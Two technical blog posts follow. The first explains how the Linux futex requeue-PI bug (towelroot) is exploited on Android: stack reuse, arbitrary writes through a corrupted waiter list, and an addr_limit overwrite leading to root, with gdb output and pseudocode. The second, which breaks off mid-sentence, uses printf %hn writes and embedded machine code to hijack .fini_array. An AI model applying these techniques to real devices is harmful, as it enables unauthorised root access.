storing return address of a procedure call. Usually when we talk about stack and exploits, we try to alter the return address and redirect it to another address and probably do ROP ( Return Oriented Programming ). This is not the case with this bug, so forget about that. Even though this bug is about futex, this is also not a race condition bug. Stack memory is reused accross procedure calls (not cleared) . See this simple example: You can compile then run it: gcc test.c -o mytest Note: just compile normally, don’t use any optimization level (-Ox): $./mytest local foo is 10 local foo is 12 As you can see, both procedures uses exactly the same stack layout. Both local uses the same stack location. When bar is called, it writes to the same stack location used by “foo” for its local variable. This simple concept will play a role in understanding the bug. Next topic is about linked list. Usually a pointer based data structure uses heap for storing the elements (We don’t use stack because we want the elements to be “permanent” accross calls), but sometimes we can just use the stack, as long as we know that the element is going to be removed when the function exits, this will save time in allocation/deallocation. Here is an example of a made up problem where we put in an element located in the stack then removing it again before returning. In that example, if we don’t remove the element and we return, the app will likely crash when the stack content is altered then the list js manipulated. That is the simplified version of the bug in the userland. To exploit the bug, we need a good understanding of how futex work, especially the PI (Priority Inheritance Futex). There are very good papers that you can read about this topic. The first one is: Futexes Are Tricky , this will give a you an idea about what futex is and how it works. The other one is Requeue-PI: Making Glibc Condvars PI-Aware , this will give you a very thorough details about the PI futex implementation in the kernel. I suggest someone trying to implement the exploit to read at least the second paper. For those of you who are not that curious to read the papers, I will try to simplify it: when there are tasks waiting for a pi futex, the kernel creates a priority list of those tasks (to be precise, it creates a waiter structure for that task) . A priority list is used because we want to maintain a property of a pi futex, i.e, task with a high priority will be waken first even though it waits after a low priority task. The node of this priority list is stored in the kernel stack. Note that when a task waits for a futex, it will wait in kernel context, and will not return to user land. So the use of kernel stack here completely makes sense. Please note that before kernel 3.13, the kernel uses plist, but after 3.13 it uses rb_node for storing the list. If you want to exploit latest kernel, you will need to handle that. This is actually where the bug is: there is a case where the waiter is still linked in the waiter list and the function returns. Please note that a kernel stack is completely separate from user stack. You can not influence kernel stack just by calling your own function in the userspace. You can manipulate kernel stack value (like the first example) by doing syscall. If you don’t understand much about kernel, you can imagine a syscall is like a remote call to another machine: the execution on the other “machine” will use a separate stack from the one that you use in your local (user mode code). Note that this analogy doesn’t really hold when we talk about exploiting memory space. A simpler bug Before going into the detail about how the bug can be exploited in the kernel. I will present a much smaller and easier to understand userland code that has a similar bug. After you understand this, I will show how the kernel exploit works based on the same principle: First, you will need to compile this in 32 bit mode, so the sizeof int is the same as the size of pointer (32 bit), don’t use any optimization when compiling. gcc -m32 list1.c Then run the resulting executable without any parameters it will print something like this: $ ./mylist we will use pos: -1 Not a buggy function Value = Alpha Value = Beta Value = --END OF LIST-- a buggy function, here is the location of value on stack 0xffd724a4 Value = Alpha Value = Beta Value = --END OF LIST-- location of buf[0] is 0xffd72488 location of buf[1] is 0xffd7248c location of buf[2] is 0xffd72490 location of buf[3] is 0xffd72494 location of buf[4] is 0xffd72498 location of buf[5] is 0xffd7249c location of buf[6] is 0xffd724a0 location of buf[7] is 0xffd724a4 location of buf[8] is 0xffd724a8 location of buf[9] is 0xffd724ac Value = Alpha Value = Beta Value = --END OF LIST-- Notice the location of value on stack, which in this example is 0xffd724a4. Notice that it is the same as the address of buf[7]. Now run the test again, like this: $./mylist 7 HACKED we will use pos: 7 Not a buggy function Value = Alpha Value = Beta Value = --END OF LIST-- a buggy function, here is the location of value on stack 0xffd3bd34 Value = Alpha Value = Beta Value = --END OF LIST-- Value = Alpha Value = Beta Value = HACKED There is no assignment of the value “HACKED” to the list element, but it printed the word “HACKED”. Why this works? because we assign to the exact memory location in stack where “value” was stored. Also note that the location printed is now different because of ASLR , but because the position is the same in the stack, element number 7 is also relocated to the same address. Now try out if you use other value than 7, also try a very small or very large value. You can also try this with stack protector on: gcc -m32 -fstack-protector list1.c The element that matched the address will be different (may be 7 becomes 8 or 6), but the exploit will still work if you adjust the element number with the matching address. In this example, I made a very convenient function that makes the “exploit” easy (named a_function_to_exploit). In the real world, if we want to modify certain location in stack, we need to find a function that has a correct “depth” (that is: the stack size usage is at least the same as the function that we are trying to exploit), and we need to be able to manipulate the value on that stack depth. To understand about stack depth, you can comment the dummy_var1/dummy_var2/dummy_var3, compile, and see the stack address change. You can also see that if the function is optimized, certain variables are no longer in stack (moved to registers if possible). Writing using list Once you know how to manipulate an element of the list, you can write to certain memory address. On all exploits what you want to do is to write something to an address. To make this part short and to show my point, I will give an example for a simple linked list. If we have this: Assume that we can control the content of n, we can write almost arbitrary value to arbitrary address. Lets assume that prev is in offset 4 of the node, and next is in offset 8. Please note that this structure assignment: A->B = C; is the same as: *(A + offset_B) = C; Lets assume we want to overwrite memory at location X with value Y. First prepare a fake node for the “next”, this fakenext is located at memory location Y (the location of the fake node is the value that we want to write), Of course this is limited to accessible memory space (so segmentation fault will not happen). If we just want to change a value from 0 (for example: a variable containing number 0 if something is not allowed) to any non zero number (something is allowed), then we can use any number (we don’t even need a fake element, just a valid pointer to the “next” element). n->next = fakenext; n->prev = X-8 so when we call, this is what happens: (n->next)->prev = n->prev; (n->prev)->next = n->next since n->next points to our fakenode (fakenode)->prev = n->prev; (n->prev)->next = fakenode You can read more about this kind of list manipulation by searching google for heap exploits. For example, there are several articles about exploiting memory allocator in Phrack that uses list in the implementation ( Vudo Malloc Tricks , Once upon a free , Advanced Doug lea’s malloc exploits and Malloc Des-Maleficarum ). These two things: that stack content can be manipulated, and that a manipulated list can be used to write to any address is the basis of the futex exploit. On to the Kernel Now lets go to where the bug is on the kernel. You can also see the full code for futex_wait_requeue_pi() . In my simple userland code, there is a variable called instack that we want to manipulate, this time, we are interested in rt_waiter . In the case where futex requeue is called with uaddr1==uaddr2 , the code path will cause q.rt_waiter to be NULL, but actually the waiter is still linked in the waiter list. static int futex_requeue(u32 __user *uaddr1, unsigned int flags,u32 __user *uaddr2, int nr_wake, int nr_requeue,u32 *cmpval, int requeue_pi) And the source code for futex_requeue() Now we need a corresponding function for a_function_to_exploit . This syscall must be “deep” enough to touch the rt_waiter , so a syscall that doesn’t have a local variable, and doesn’t call other function is not usable. First lets examine the function when we call it. From now on to show certain things, I will show how it looks in gdb that is connected to qemu for kernel debugging. Since I want to show things about towelroot, I am using qemu with ARM kernel. I am using this official guide for building Android kernel combined with stack overflow answer . When compiling the kernel, don’t forget to enable debug symbol . I created an Android 4.3 AVD, and started the emulator with this: ~/adt-bundle-linux/sdk/tools/emulator-arm -show-kernel -kernel arch/arm/boot/zImage -avd joeavd -no-boot-anim -no-skin -no-audio -no-window -logcat *:v -qemu -monitor telnet::4444,server -s I can control the virtual machine via telnet localhost 444, and debug using gdb: $ arm-eabi-gdb vmlinux To connect and start debugging: (gdb) target remote :1234 Why do I use GDB? Because this is the easiest way to get size of structure and to know what optimizations the compiler did. Lets break on the futex_wait_requeue_pi : Breakpoint 6, futex_wait_requeue_pi (uaddr=0xb6e8be68, flags=1, val=0, abs_time=0x0, bitset=4294967295, uaddr2=0xb6e8be6c) at kernel/futex.c:2266 2266 { (gdb) list 2261 * <0 - On error 2262 */ 2263 static int futex_wait_requeue_pi(u32 __user *uaddr, unsigned int flags, 2264 u32 val, ktime_t *abs_time, u32 bitset, 2265 u32 __user *uaddr2) 2266 { 2267 struct hrtimer_sleeper timeout, *to = NULL; 2268 struct rt_mutex_waiter rt_waiter; 2269 struct rt_mutex *pi_mutex = NULL; 2270 struct futex_hash_bucket *hb; (gdb) list 2271 union futex_key key2 = FUTEX_KEY_INIT; 2272 struct futex_q q = futex_q_init; 2273 int res, ret; We can see the structures (gdb) ptype timeout type = struct hrtimer_sleeper { struct hrtimer timer; struct task_struct *task; } (gdb) ptype rt_waiter type = struct rt_mutex_waiter { struct plist_node list_entry; struct plist_node pi_list_entry; struct task_struct *task; struct rt_mutex *lock; } We can also check the backtrace of this function (gdb) bt #0 futex_wait_requeue_pi (uaddr=0xb6e8be68, flags=1, val=0, abs_time=0x0, bitset=4294967295, uaddr2=0xb6e8be6c) at kernel/futex.c:2266 #1 0xc0050e54 in do_futex (uaddr=0xb6e8be68, op=, val=0, timeout=, uaddr2=0xb6e8be6c, val2=0, val3=3068706412) at kernel/futex.c:2668 #2 0xc005100c in sys_futex (uaddr=0xb6e8be68, op=11, val=0, utime=, uaddr2=0xb6e8be6c, val3=0) at kernel/futex.c:2707 #3 0xc000d680 in ?? () #4 0xc000d680 in ?? () We can print out the size of the structures: (gdb) print sizeof(rt_waiter) $1 = 48 (gdb) print sizeof(timeout) $2 = 56 (gdb) print sizeof(to) $3 = 4 (gdb) print sizeof(q) $4 = 56 (gdb) print sizeof(hb) $5 = 4 We can look at the addresses of things, in this case, the variable pi_mutex is optimized as register, so we can’t access the variable address. (gdb) print &key2 $6 = (union futex_key *) 0xd801de04 (gdb) print &timeout $7 = (struct hrtimer_sleeper *) 0xd801de40 (gdb) print *&to Can't take address of "to" which isn't an lvalue. (gdb) print &rt_waiter $8 = (struct rt_mutex_waiter *) 0xd801de10 (gdb) print &pi_mutex Can't take address of "pi_mutex" which isn't an lvalue. (gdb) print &hb $9 = (struct futex_hash_bucket **) 0xd801ddf8 (gdb) print &q $10 = (struct futex_q *) 0xd801de78 In the linux kernel source dode, there is a very convenient script that can measure stack usage of functions, unfortunately this doesn’t work very well on ARM, but here is an example output in i386. objdump -d vmlinux | ./scripts/checkstack.pl ... 0xc10ff286 core_sys_select [vmlinux]: 296 0xc10ff4ac core_sys_select [vmlinux]: 296 ... 0xc106a236 futex_wait_requeue_pi.constprop.21 [vmlinux]:212 0xc106a380 futex_wait_requeue_pi.constprop.21 [vmlinux]:212 ... 0xc14a406b sys_recvfrom [vmlinux]: 180 0xc14a4165 sys_recvfrom [vmlinux]: 180 0xc14a4438 __sys_sendmmsg [vmlinux]: 180 0xc14a4524 __sys_sendmmsg [vmlinux]: 180 ... The numbers on the right shows the maximum stack usage that was accessed by that function. The rt_waiter is not the last variable on stack, so we don’t really need to go deeper than 212. The deeper the stack, the lower address value will be used, in our case, we can ignore the hashbucket , key2 , q , that totals in 64 bytes. Any syscall that has a stack use of more than 212-64 is a candidate. Learning from geohot’s exploit, he found that there are four very convenient functions that can be used, this is the fist value in towelroot modstring, sendmmsg , recvmmsg , sendmsg , and recvmsg (each corresponds to method 0-3 in his towelroot modstring). Knowing the address of rt_waiter , lets see the kernel stack when towelroot calls sys_sendmmsg and look at the iovstack array. (gdb) print &iovstack[0] $17 = (struct iovec *) 0xd801ddf0 (gdb) print &iovstack[1] $18 = (struct iovec *) 0xd801ddf8 (gdb) print &iovstack[2] $19 = (struct iovec *) 0xd801de00 (gdb) print &iovstack[3] $20 = (struct iovec *) 0xd801de08 (gdb) print &iovstack[4] $21 = (struct iovec *) 0xd801de10 Look at that, the iovstack[4] is in the same address as rt_waiter (gdb) print iovstack $22 = {{iov_base = 0xa0000800, iov_len = 125}, {iov_base = 0xa0000800, iov_len = 125}, {iov_base = 0xa0000800, iov_len = 125}, { iov_base = 0xa0000800, iov_len = 125}, {iov_base = 0xa0000800, iov_len = 1050624}, {iov_base = 0xa0000800, iov_len = 125}, { iov_base = 0xa0000800, iov_len = 125}, {iov_base = 0xa0000800, iov_len = 125}} And now lets see the iov as struct rt_mutex_waiter (gdb) print *(struct rt_mutex_waiter*)&iovstack[4] $23 = {list_entry = {prio = -1610610688, prio_list = {next = 0x100800, prev = 0xa0000800}, node_list = {next = 0x7d, prev = 0xa0000800}}, pi_list_entry = {prio = 125, prio_list = {next = 0xa0000800, prev = 0x7d}, node_list = {next = 0xa0000800, prev = 0xa0000800}}, task = 0xa0000800, lock = 0xa0000800} Of course this function can return immediately when the data is received on the other side. So what towelroot do is this: create a thread that will accept a connection in localhost, after it accept()s it, it never reads the data, so the sendmmsg call will be just hanging there waiting for the data to be sent. So the receiver thread looks like this: bind() listen() while (1) { s = accept(); log("i have a client like hookers"); } As you can see in the simplest list example, that a compiler optimization can cause the address to change slightly, so the other parameter in the modstring is the hit_iov , so in the towelroot code, it looks something like this: for (i =0 ;i < 8; i++) { iov[i].iov_base = (void *)0xa0000800; iov[i].iov_len = 0x7d; if (i==TARGET_IOV) { iov[i].iov_len = 0x100800; } } The other parameter related to iov is the align. I am not completely sure about this and when this is needed. From my observation, it sets all iov_len to 0x100800. On the other thread, basically what towelroot does is this: void sender_thread(){ setpriority(N); connect(to_the_listener); futex_wait_requeue_pi(...); sendmmsg(...) ; } Unfortunately, having multi core can ruin things, so to make things safe, before starting, towelroot will set the process affinity so that this process will be run on only one core. The detail of manipulating the waiter priority list is left to the reader (the objective is to write to a memory address) , but I can give you some pointers: to add a new waiter, use FUTEX_LOCK_PI, and to control where the item will be put, call setpriority prior to waiting. The baseline value is 120 (for nice value 0), so if you set priority 12 using setpriority , you will see the priority as 132 in the kernel land. The total line of plist.h and plist.c is only around 500 lines, and you only need to go to detail for plist_add and plist_del . Depending on what we want to overwrite, we don’t even need to be able to set to a specific value. To modify the list, you will need multiple threads with different priorities. To be sure that the threads you started is really waiting inside a syscall (there will be time from creating the thread calling the syscall until it waits inside the syscall), you can use the trick that is used by towelroot: it reads the /proc/PID/task/TID/status of the Task with TID that you want to check. When the process is inside a syscall, the voluntary_ctxt_switches will keep on increasing (and the nonvoluntary_ctxt_switches will stay, but towelroot doesn’t check this). A voluntary context switch happens when a task is waiting inside a syscall. Usually what people do when exploiting the kernel is to write to a function pointer. We can get the location of where these pointers are stored from reading /proc/kallsysms , or by looking at System.map generated when compiling the kernel. Both is usually not (easily) available in latest Android ( this is one of the security mitigations introduced in Android 4.1 ). You may be able to get the address by recompiling an exact same kernel image using the same compiler and kernel configuration. On most PC distributions, you can find the symbols easily (via System.map and /proc/kallsyms is not restricted. Assume that you can somehow get the address of a function pointer to overwrite, we can write a function that sets the current process credential to have root access and redirect so that our function is called instead of the original. But there is another way to change the process credential without writing any code that runs in kernel mode, just by writing to kernel memory. You can read the full presentation here , in the next part, I will only discuss the part needed to implement the exploit. The Kernel Stack Every thread is assigned a kernel stack space, and part of the stack space contains thread_info for that task. The stack address is different for every thread (the size is 8KB/thread in ARM) and you can not predict the address. So there will be a bunch of 8 KB stack blocks allocated for every thread. The thread_info is stored in the stack, in the lower address (stacks begins from top/high address). This thread_info contains information such as the pointer to task_struct . Inside a syscall, the task_struct for current thread is accessible by using the current macro : #define get_current() (current_thread_info()->task) #define current get_current() In ARM, current_thread_info() is defined as : #define THREAD_SIZE 8192 static inline struct thread_info *current_thread_info(void){ register unsigned long sp asm ("sp"); return (struct thread_info *)(sp & ~(THREAD_SIZE - 1)); } Or if you want a constant number, the thread_info is located here $sp & 0xffffe000. Here is an example of task info when I am inside a syscall: (gdb) print *((struct thread_info*)(((uint32_t)$sp & 0xffffe000))) $23 = {flags = 0, preempt_count = 0, addr_limit = 3204448256, task = 0xd839d000, exec_domain = 0xc047e9ec, cpu = 0, cpu_domain = 21, cpu_context = { r4 = 3626094784, r5 = 3627667456, r6 = 3225947936, r7 = 3626094784, r8 = 3561353216, r9 = 3563364352, sl = 3563364352, fp = 3563372460, sp = 3563372408, pc = 3224755408, extra = {0, 0}}, syscall = 0, used_cp = "\000\000\000\000\000\000\000\000\000\000\001\001\000\000\000", tp_value = 3066633984, crunchstate = {mvdx = {{0, 0} }, mvax = {{0, 0, 0}, {0, 0, 0}, {0, 0, 0}, {0, 0, 0}}, dspsc = {0, 0}}, fpstate = {hard = {save = {0 }}, soft = {save = {0 }}}, vfpstate = {hard = {fpregs = {334529072224223236, 0, 0, 0, 0, 4740737484919406592, 4562254508917369340, 4724999426224703930, 0 }, fpexc = 1073741824, fpscr = 16, fpinst = 3725516880, fpinst2 = 2816}}, restart_block = {fn = 0xc0028ca8 , {futex = {uaddr = 0x0, val = 0, flags = 0, bitset = 0, time = 0, uaddr2 = 0x0}, nanosleep = {clockid = 0, rmtp = 0x0, expires = 0}, poll = {ufds = 0x0, nfds = 0, has_timeout = 0, tv_sec = 0, tv_nsec = 0}}}} Before continuing, you need to get a feeling of the memory mapping. This document doesn’t help much, but it gives an idea. Since every kernel can be compiled to have a different mapping, lets assume a common mapping for 32 bit ARM kernel: a very low memory address (0x0-0x1000) is restricted for mapping ( for security purpose ) address 0x1000-0xbf000000 is the user space around 0xc0000000- 0xcffffff is where the kernel code location area around 0xdxxxxxxx-0xfefffffe is where the kernel data is (stack and heap) high memory ranges (0xfeffffff-0xffffffff) is reserved by the kernel. The addr_limit is a nice target for overwrite. The default value for ARM is 3204448256 (0xbf000000), this value is checked in every operation in kernel that copy values from and to user space. You can read more about this in this post ( Linux kernel user to kernel space range checks ). The addr_limit is per task (every thread_info can have a different limit). Area below addr_limit is considered to be a valid memory space that user space process can pass to kernel as parameter. Just to be clear here: if we modify addr_limit , it doesn’t mean that the user space can suddenly access memory at kernel space (for example, you can’t just dereference an absolute memory like this: *(uint32_t*)0xc0000000 to access kernel space from user space). The kernel can always read all the memory, so what this limit does is to make sure that when a user space gives a parameter to a syscall, the address given must be in user space. For example, kernel will not allow write(fd, addr, len) if addr is above addr_limit . If we can somehow increase this limit, we can then read and modify kernel structures (using read/write syscall). Using a list manipulation, we can overwrite an address, and the location of addr_limit the one we want to overwrite. Once we overwrite the addr_limit (in arm it is located at offset 8 in thread_info after flags and preempt_count ), we can then (from userspace) read the address of the task_struct field, then from there, read the address of our credential ( cred ) field, then write/set our uid/gid to 0, and spawn a root shell (or do anything that you like, for example: just chown root/chmod suid certain file). Kernel stack location So basically we have two problems here: how to find the address to overwrite, and how to overwrite it. The part about “how to overwrite” is done by the list manipulation. The part about finding the address to overwrite: use other kernel vulnerability to leak kernel memory. There are a lot of bugs in the Linux kernel where it leaks memory to userspace ( here is all of them in that category , there are 26 this year, and 194 in total), not all of these bugs can be used to leak the location of the stack. Because the thread_info is always located at the beginning of stack, we can always find it if we know any address that is located in the stack, (just use addr & 0xffffe000 ). So we don’t really care about the exact leaked address. In the kernel space, there are a lot of code where a stack variable points to another variable. Just for an example, here is a code in futex.c that does this: q.rt_waiter = &rt_waiter; q.requeue_pi_key = &key2; Both rt_waiter and key2 are located in the stack. If there is a code in the kernel that copies data to user space from uninitialized data on stack it, then will use whatever previous values that was on that stack, this is what we call an information leak. For a specific kernel version with a specific compiler we can get a reliable address, but with different kernel version and different compiler version (and optimization), most of the time this is not very reliable (it really depends on the previous usage of the stack and the stack layout created by the compiler). We can check for the leaked value, if we see a value above the addr_limit , what we get is a possible stack location. Towelroot uses CVE-2013-2141 which is still in most Android kernel. You can check your kernel if it is affected by looking at the patch that corresponds to that bug (just check if info is initialized like this: struct siginfo info = {} ). You can experiment a little bit to get a (mostly) reliable kernel stack address leak. This is the value that is printed by towelroot (“xxxx is a good number”). Please note that this is not 100% reliable, so sometimes towelroot will try to modify invalid address (it doesn’t seem to check if the address is above bf000000). Lets say we find the (possible) memory and name this POSSIBLE_STACK from now on. Update: I was wrong, towelroot uses the stack address from the unlinked waiter address. The waiter is unlinked because of the tgkill() call. So the address should always be valid. Overwrite Ideally we want to be able to read the whole kernel space, but we can start small, increase our limit a little bit. You may have noticed several things by now: the rt_waiter is stored in the stack (lets say in location X), the addr_limit is also stored in stack (lets say Y), the X location is going to be always greater than Y for that thread. We know that the thread_info is always located at sp & 0xffffe000, so we have POSSIBLE_THREAD_INFO = (POSSIBLE_STACK & 0xffffe000). So if we can put the address of any rt_waiter from other tasks and write it to (POSSIBLE_THREAD_INFO + 8), we have increased the stack limit from bf000000 to some value (usually dxxxxxxx). I am not entirely sure (since I don’t have a samsung S5), but it seems that the addr_limit is not always in offset 8, so towelroot have limit_offset to fix the address. How to know if we have succesfully changed the address limit for a task? From inside that task, we can use the write syscall. For example, we can try: write(fd, (void *)0xc0000000, 4) . What we are trying to do is to write the content of the memory address to a file descriptor (you can replace 0xc000000 with any address above 0xbf000000). If we can do this successfuly, then we can continue because our limit has been changed. On my experiment, the memory leak is sometimes very predictable (it leaks always a certain task kernel address, but not always). If we know exactly which thread address we modify, we can ask that thread to continue our work, otherwise, we need to ask all the threads that we have (for example by sending a signal): can you check if the address limit have been changed for you? If a thread can read the kernel memory address, then we know the address of that thread’s thread_info , we can then read and write to POSSIBLE_THREAD_INFO + 8. First thing that we want to do is to change *(POSSIBLE_THREAD_INFO + 8) = 0xffffffff. Now this thread can read and write to anywhere. Here is an example where a thread’s addr_limit has been successfully changed to 0xffffffff: (gdb) print *((struct thread_info*)(((uint32_t)$sp & 0xffffe000))) $22 = {flags = 0, preempt_count = 0, addr_limit = 4294967295, task = 0xd45d6000, exec_domain = 0xc047e9ec, cpu = 0, cpu_domain = 21, cpu_context = { r4 = 3561369728, r5 = 3562889216, r6 = 3225947936, r7 = 3561369728, r8 = 3562677248, r9 = 3069088276, sl = 3561955328, fp = 3561963004, sp = 3561962952, pc = 3224755408, extra = {0, 0}}, syscall = 0, used_cp = "\000\000\000\000\000\000\000\000\000\000\001\001\000\000\000", tp_value = 3061055232, crunchstate = {mvdx = {{0, 0} }, mvax = {{0, 0, 0}, {0, 0, 0}, {0, 0, 0}, {0, 0, 0}}, dspsc = {0, 0}}, fpstate = {hard = {save = {0 }}, soft = {save = {0 }}}, vfpstate = {hard = {fpregs = {1067681969331808106, 0, 0, 0, 0, 4738224773140578304, 4562254508917369340, 4732617274506747052, 0 }, fpexc = 1073741824, fpscr = 16, fpinst = 3725475920, fpinst2 = 2816}}, restart_block = {fn = 0xc0028ca8 , {futex = {uaddr = 0x0, val = 0, flags = 0, bitset = 0, time = 0, uaddr2 = 0x0}, nanosleep = {clockid = 0, rmtp = 0x0, expires = 0}, poll = {ufds = 0x0, nfds = 0, has_timeout = 0, tv_sec = 0, tv_nsec = 0}}}} Once you can read/write anywhere, you can do anything, its game over. First you may want to fix the plist so that it will not crash (something that was not done by towelroot v1), although sometimes in towelroot v3, it stops because it was unable to fix the list even though it can do the rooting process. Even though you can read/write using file, to make it easy you can use pipe , and write/read to/from that pipe. If we have a pipe, with rfd as read descriptor in the side of the pipe and wfd as the write descriptor, we can do this: To read a memory from kernel: do a write(wfd, KERNEL_ADDR, size) , and read the result in read(rfd, LOCAL_ADDRESS, size) . To write to kernel memory: do a write(wfd, LOCAL_ADDRESS, size) , and then read(rfd, KERNEL_ADDRESS, size) . If you want to play around without creating exploit, you can also try out the addr_limit by setting the value manually in your debugger. The last modstring in towelroot is temp_root which is not related to the exploit itself, it only creates temporary root for devices that have non writeable /system. So thats all there is to it. I have shown you where the bug is, which syscall that you can use to manipulate the stack, how to write to arbitrary address (although not in detail, but with enough pointers), what to write there, and what to do after you write there. Author admin Posted on July 7, 2014 November 21, 2018 Categories hacks , linux , security 9 thoughts on “Exploiting the Futex Bug and uncovering Towelroot” alan czarnecki says: July 7, 2014 at 2:26 pm Hello – Looks to me like a typo in main(): int main() { foo(1, 10); //set to 10 foo(0, 0); //print it bar(1, 12); //set to 12 foo(0, 0); //print foo again return 0; } should be: int main() { foo(1, 10); //set to 10 foo(0, 0); //print it bar(1, 12); //set to 12 bar(0, 0); //print bar <======***** return 0; } no? Regards, alan Reply alan czarnecki says: July 7, 2014 at 2:29 pm nvm – finally read your words : Both local uses the same stack location. When bar is called, it writes to the same stack location used by “foo” for its local variable. This simple concept will play a role in understanding the bug. apologies for bugging you – going to get more coffee before reading further Reply ELB says: July 8, 2014 at 6:54 am Dude first of all i would love to say thank you! this is the first decent info i’ve found about the bug, and next how about some contact info maybe irc or mail? Reply solidwrench says: July 8, 2014 at 10:49 pm I have some questions, mostly regarding the futex code. futexes are new to me. 1. Where is the list where rt_waiter is saved? what is this “waiter list”? I’m assuming this isn’t the futex_q list since q.rt_waiter is set to NULL. 2. This seems to only happen when requeue_pi = 1 in futex_requeue(), judging from patches & the code path you mention. is this true? 3. I probably have more, thanks in advance 🙂 Reply solidwrench says: July 9, 2014 at 7:49 am ignore my previous comment, I think I figured it out. rt_waiter gets added to an external list via a rt_mutex_start_proxy_lock() call in futex_requeue(). Reply solidwrench says: July 11, 2014 at 7:38 pm Hello, I’m still trying to rewrite the exploit. The problem I currently have is the pi_state member in futex_q. futex_requeue assigns it to each requeued futex. It bails if you try to give it a futex with a pi_state, preventing re-requeueing. I wrote a post about it here: http://solidwrench.blogspot.com/2014/07/playing-with-futexrequeue-bug.html Reply Pingback: Злоумышленники используют набор эксплойтов для кибератак на пользователей Android - Терещенко. Просто. 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https://tinyhack.com/2014/03/12/implementing-a-web-server-in-a-single-printf-call/?replytocom=24558#respond | Implementing a web server in a single printf() call – Tinyhack.com --> Skip to content Tinyhack.com A hacker does for love what others would not do for money. Implementing a web server in a single printf() call A guy just forwarded a joke that most of us will already know Jeff Dean Facts (also here and here ). Everytime I read that list, this part stands out: Jeff Dean once implemented a web server in a single printf() call. Other engineers added thousands of lines of explanatory comments but still don’t understand exactly how it works. Today that program is the front-end to Google Search. It is really possible to implement a web server using a single printf call, but I haven’t found anyone doing it. So this time after reading the list, I decided to implement it. So here is the code, a pure single printf call, without any extra variables or macros (don’t worry, I will explain how to this code works) #include <stdio.h> int main(int argc, char *argv[]) { printf("%*c%hn%*c%hn" "\xeb\x3d\x48\x54\x54\x50\x2f\x31\x2e\x30\x20\x32" "\x30\x30\x0d\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d" "\x74\x79\x70\x65\x3a\x74\x65\x78\x74\x2f\x68\x74" "\x6d\x6c\x0d\x0a\x0d\x0a\x3c\x68\x31\x3e\x48\x65" "\x6c\x6c\x6f\x20\x57\x6f\x72\x6c\x64\x21\x3c\x2f" "\x68\x31\x3e\x4c\x8d\x2d\xbc\xff\xff\xff\x48\x89" "\xe3\x48\x83\xeb\x10\x48\x31\xc0\x50\x66\xb8\x1f" "\x90\xc1\xe0\x10\xb0\x02\x50\x31\xd2\x31\xf6\xff" "\xc6\x89\xf7\xff\xc7\x31\xc0\xb0\x29\x0f\x05\x49" "\x89\xc2\x31\xd2\xb2\x10\x48\x89\xde\x89\xc7\x31" "\xc0\xb0\x31\x0f\x05\x31\xc0\xb0\x05\x89\xc6\x4c" "\x89\xd0\x89\xc7\x31\xc0\xb0\x32\x0f\x05\x31\xd2" "\x31\xf6\x4c\x89\xd0\x89\xc7\x31\xc0\xb0\x2b\x0f" "\x05\x49\x89\xc4\x48\x31\xd2\xb2\x3d\x4c\x89\xee" "\x4c\x89\xe7\x31\xc0\xff\xc0\x0f\x05\x31\xf6\xff" "\xc6\xff\xc6\x4c\x89\xe7\x31\xc0\xb0\x30\x0f\x05" "\x4c\x89\xe7\x31\xc0\xb0\x03\x0f\x05\xeb\xc3", ((((unsigned long int)0x4005c8 + 12) >> 16) & 0xffff), 0, 0x00000000006007D8 + 2, (((unsigned long int)0x4005c8 + 12) & 0xffff)- ((((unsigned long int)0x4005c8 + 12) >> 16) & 0xffff), 0, 0x00000000006007D8 ); } This code only works on a Linux AMD64 bit system, with a particular compiler (gcc version 4.8.2 (Debian 4.8.2-16) ) And to compile it: gcc -g web1.c -O webserver As some of you may have guessed: I cheated by using a special format string . That code may not run on your machine because I have hardcoded two addresses. The following version is a little bit more user friendly (easier to change), but you are still going to need to change 2 values: FUNCTION_ADDR and DESTADDR which I will explain later: #include <stdio.h> #include <stdlib.h> #include <stdint.h> #define FUNCTION_ADDR ((uint64_t)0x4005c8 + 12) #define DESTADDR 0x00000000006007D8 #define a (FUNCTION_ADDR & 0xffff) #define b ((FUNCTION_ADDR >> 16) & 0xffff) int main(int argc, char *argv[]) { printf("%*c%hn%*c%hn" "\xeb\x3d\x48\x54\x54\x50\x2f\x31\x2e\x30\x20\x32" "\x30\x30\x0d\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d" "\x74\x79\x70\x65\x3a\x74\x65\x78\x74\x2f\x68\x74" "\x6d\x6c\x0d\x0a\x0d\x0a\x3c\x68\x31\x3e\x48\x65" "\x6c\x6c\x6f\x20\x57\x6f\x72\x6c\x64\x21\x3c\x2f" "\x68\x31\x3e\x4c\x8d\x2d\xbc\xff\xff\xff\x48\x89" "\xe3\x48\x83\xeb\x10\x48\x31\xc0\x50\x66\xb8\x1f" "\x90\xc1\xe0\x10\xb0\x02\x50\x31\xd2\x31\xf6\xff" "\xc6\x89\xf7\xff\xc7\x31\xc0\xb0\x29\x0f\x05\x49" "\x89\xc2\x31\xd2\xb2\x10\x48\x89\xde\x89\xc7\x31" "\xc0\xb0\x31\x0f\x05\x31\xc0\xb0\x05\x89\xc6\x4c" "\x89\xd0\x89\xc7\x31\xc0\xb0\x32\x0f\x05\x31\xd2" "\x31\xf6\x4c\x89\xd0\x89\xc7\x31\xc0\xb0\x2b\x0f" "\x05\x49\x89\xc4\x48\x31\xd2\xb2\x3d\x4c\x89\xee" "\x4c\x89\xe7\x31\xc0\xff\xc0\x0f\x05\x31\xf6\xff" "\xc6\xff\xc6\x4c\x89\xe7\x31\xc0\xb0\x30\x0f\x05" "\x4c\x89\xe7\x31\xc0\xb0\x03\x0f\x05\xeb\xc3" , b, 0, DESTADDR + 2, a-b, 0, DESTADDR ); } I will explain how the code works through a series of short C codes. The first one is a code that will explain how that we can start another code without function call. See this simple code: #include <stdlib.h> #include <stdio.h> #define ADDR 0x00000000600720 void hello() { printf("hello world\n"); } int main(int argc, char *argv[]) { (*((unsigned long int*)ADDR))= (unsigned long int)hello; } You can compile it, but it many not run on your system. You need to do these steps: 1. Compile the code: gcc run-finalizer.c -o run-finalizer 2. Examine the address of fini_array objdump -h -j .fini_array run-finalizer And find the VMA of it: run-finalizer: file format elf64-x86-64 Sections: Idx Name Size VMA LMA File off Algn 18 .fini_array 00000008 0000000000600720 0000000000600720 00000720 2**3 CONTENTS, ALLOC, LOAD, DATA Note that you need a recent GCC to do this, older version of gcc uses different mechanism of storing finalizers. 3. Change the value of ADDR on the code to the correct address 4. Compile the code again 5. Run it and now you will see “hello world” printed to your screen. How does this work exactly?: According to Chapter 11 of Linux Standard Base Core Specification 3.1 .fini_array This section holds an array of function pointers that contributes to a single termination array for the 